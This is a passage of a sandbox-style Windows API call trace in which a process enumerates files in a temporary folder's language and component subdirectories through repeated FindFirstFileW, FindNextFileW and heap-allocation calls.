hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.381] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.381] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250900 [0110.382] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.382] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.382] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.382] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.383] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.383] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0110.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.384] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.384] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250d40 [0110.385] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.385] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.385] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.385] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.385] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.385] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0110.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.386] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b00 [0110.388] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.388] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.388] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.388] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.388] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.388] FindClose (in: hFindFile=0x4250b00 | out: hFindFile=0x4250b00) returned 1 [0110.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.389] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.389] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e40 [0110.390] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.390] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.390] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.390] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.390] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.390] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.390] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.391] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e00 [0110.391] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.391] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.391] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.391] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.391] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.391] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.391] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.392] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.395] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.395] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.396] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.396] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.396] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.396] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.426] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.426] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0110.434] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.434] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.434] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.434] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.435] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.435] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.436] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x42508c0 [0110.436] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.437] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.437] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.437] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250a00 [0110.437] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.437] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.437] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.437] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.438] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.438] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0110.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.438] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.438] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e40 [0110.601] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.601] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.601] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.601] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.601] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.601] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0110.609] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.609] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.609] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.610] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.611] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.611] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.612] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.612] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.613] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.613] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.613] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.613] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.614] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250980 [0110.614] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.615] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.615] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.615] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.615] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0110.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.615] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.615] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250cc0 [0110.617] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.617] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.617] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.617] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.618] FindClose (in: hFindFile=0x4250cc0 | out: hFindFile=0x4250cc0) returned 1 [0110.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.619] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.619] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250980 [0110.636] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.637] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.637] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.637] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.637] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.637] FindClose (in: hFindFile=0x4250980 | out: hFindFile=0x4250980) returned 1 [0110.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.653] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.653] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b00 [0110.653] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.653] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.653] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.654] FindClose (in: hFindFile=0x4250b00 | out: hFindFile=0x4250b00) returned 1 [0110.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.654] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b00 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250b00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.655] FindClose (in: hFindFile=0x4250b00 | out: hFindFile=0x4250b00) returned 1 [0110.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.655] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e40 [0110.655] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.655] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.655] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.656] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.656] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0110.662] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.662] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.662] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.662] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.662] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.662] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.663] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.663] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.689] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.689] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.689] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.690] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0110.690] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.690] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.690] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.690] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.690] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.690] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.691] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e00 [0110.713] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.717] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 